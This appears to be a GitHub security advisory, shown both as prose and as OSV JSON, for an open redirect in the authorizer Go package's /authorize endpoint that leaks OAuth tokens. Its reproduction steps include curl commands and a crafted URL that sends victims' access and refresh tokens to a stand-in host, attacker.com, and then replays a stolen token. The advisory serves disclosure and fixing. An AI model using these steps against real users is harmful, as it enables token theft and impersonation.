GHSA-H29V-HJ44-Q8CV
Vulnerability from github – Published: 2026-07-10 19:25 – Updated: 2026-07-10 19:25Summary
The /authorize endpoint accepts any redirect_uri without validating it against AllowedOrigins. When response_type=token or response_type=id_token, the server appends access_token, id_token, and refresh_token as query parameters and issues a 302 redirect to the attacker-supplied URL. An unauthenticated attacker can obtain the required client_id from the public /graphql?query={meta{client_id}} endpoint.
Partial fix was applied in v2.0.1 to other handlers (oauth_login, verify_email, magic_link_login, forgot_password, invite_members, oauth_callback) but /authorize was not included.
Vulnerable Code
internal/http_handlers/authorize.go:
redirectURI := strings.TrimSpace(gc.Query("redirect_uri"))
// ... no IsValidOrigin() call ...
// response_type=token path (line ~263):
if strings.Contains(redirectURI, "?") {
redirectURI = redirectURI + "&" + params
} else {
redirectURI = redirectURI + "?" + params
}
handleResponse(gc, responseMode, authURL, redirectURI, ...) // 302 to attacker URL
Compare with the fixed oauth_login.go in v2.0.1 which calls validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins).
Steps to Reproduce
# 1. Obtain client_id (no authentication required)
CLIENT_ID=$(curl -s http://TARGET/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{meta{client_id}}"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['meta']['client_id'])")
echo "client_id: $CLIENT_ID"
# 2. Craft the malicious URL and send to victim (victim must be logged in)
# When victim opens this URL, tokens are delivered to attacker.com
MALICIOUS_URL="http://TARGET/authorize?response_type=token&client_id=${CLIENT_ID}&redirect_uri=https://attacker.com/steal&scope=openid+profile+email&state=x&response_mode=query"
echo "Send to victim: $MALICIOUS_URL"
# 3. Attacker receives 302 redirect with all tokens:
# https://attacker.com/steal?access_token=eyJ...&token_type=bearer&expires_in=...&id_token=eyJ...
# 4. Validate stolen token
curl -s http://TARGET/userinfo \
-H "Authorization: Bearer STOLEN_ACCESS_TOKEN"
# Returns: {"email":"victim@example.com","id":"...","roles":["user"]}
Impact
An attacker who tricks a logged-in user into clicking a crafted link can steal the victim's access_token, id_token, and refresh_token. The attacker can then impersonate the victim for the full token lifetime. No user interaction beyond clicking the link is required; the victim's browser issues the redirect automatically.
Proposed Fix
Add the same IsValidOrigin check that was applied to the other handlers in v2.0.1:
// In authorize.go, after reading redirect_uri:
if !validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins) {
handleResponse(gc, responseMode, authURL, redirectURI, map[string]interface{}{
"error": "invalid_request",
"error_description": "redirect_uri is not allowed",
}, http.StatusBadRequest)
return
}
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/authorizerdev/authorizer"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260409051328-bd3f5baf6d3d"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54072"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-10T19:25:15Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "## Summary\n\nThe `/authorize` endpoint accepts any `redirect_uri` without validating it against `AllowedOrigins`. When `response_type=token` or `response_type=id_token`, the server appends `access_token`, `id_token`, and `refresh_token` as query parameters and issues a 302 redirect to the attacker-supplied URL. An unauthenticated attacker can obtain the required `client_id` from the public `/graphql?query={meta{client_id}}` endpoint.\n\nPartial fix was applied in v2.0.1 to other handlers (`oauth_login`, `verify_email`, `magic_link_login`, `forgot_password`, `invite_members`, `oauth_callback`) but `/authorize` was not included.\n\n## Vulnerable Code\n\n`internal/http_handlers/authorize.go`:\n\n```go\nredirectURI := strings.TrimSpace(gc.Query(\"redirect_uri\"))\n// ... no IsValidOrigin() call ...\n// response_type=token path (line ~263):\nif strings.Contains(redirectURI, \"?\") {\n redirectURI = redirectURI + \"\u0026\" + params\n} else {\n redirectURI = redirectURI + \"?\" + params\n}\nhandleResponse(gc, responseMode, authURL, redirectURI, ...) // 302 to attacker URL\n```\n\nCompare with the fixed `oauth_login.go` in v2.0.1 which calls `validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins)`.\n\n## Steps to Reproduce\n\n```bash\n# 1. Obtain client_id (no authentication required)\nCLIENT_ID=$(curl -s http://TARGET/graphql \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"query\":\"{meta{client_id}}\"}\u0027 | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027data\u0027][\u0027meta\u0027][\u0027client_id\u0027])\")\n\necho \"client_id: $CLIENT_ID\"\n\n# 2. Craft the malicious URL and send to victim (victim must be logged in)\n# When victim opens this URL, tokens are delivered to attacker.com\nMALICIOUS_URL=\"http://TARGET/authorize?response_type=token\u0026client_id=${CLIENT_ID}\u0026redirect_uri=https://attacker.com/steal\u0026scope=openid+profile+email\u0026state=x\u0026response_mode=query\"\n\necho \"Send to victim: $MALICIOUS_URL\"\n\n# 3. Attacker receives 302 redirect with all tokens:\n# https://attacker.com/steal?access_token=eyJ...\u0026token_type=bearer\u0026expires_in=...\u0026id_token=eyJ...\n\n# 4. Validate stolen token\ncurl -s http://TARGET/userinfo \\\n -H \"Authorization: Bearer STOLEN_ACCESS_TOKEN\"\n# Returns: {\"email\":\"victim@example.com\",\"id\":\"...\",\"roles\":[\"user\"]}\n```\n\n## Impact\n\nAn attacker who tricks a logged-in user into clicking a crafted link can steal the victim\u0027s `access_token`, `id_token`, and `refresh_token`. The attacker can then impersonate the victim for the full token lifetime. No user interaction beyond clicking the link is required; the victim\u0027s browser issues the redirect automatically.\n\n## Proposed Fix\n\nAdd the same `IsValidOrigin` check that was applied to the other handlers in v2.0.1:\n\n```go\n// In authorize.go, after reading redirect_uri:\nif !validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins) {\n handleResponse(gc, responseMode, authURL, redirectURI, map[string]interface{}{\n \"error\": \"invalid_request\",\n \"error_description\": \"redirect_uri is not allowed\",\n }, http.StatusBadRequest)\n return\n}\n```",
"id": "GHSA-h29v-hj44-q8cv",
"modified": "2026-07-10T19:25:15Z",
"published": "2026-07-10T19:25:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/authorizerdev/authorizer/security/advisories/GHSA-h29v-hj44-q8cv"
},
{
"type": "PACKAGE",
"url": "https://github.com/authorizerdev/authorizer"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Authorizer: Unvalidated redirect_uri in /authorize leaks OAuth2 tokens to attacker-controlled URL"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.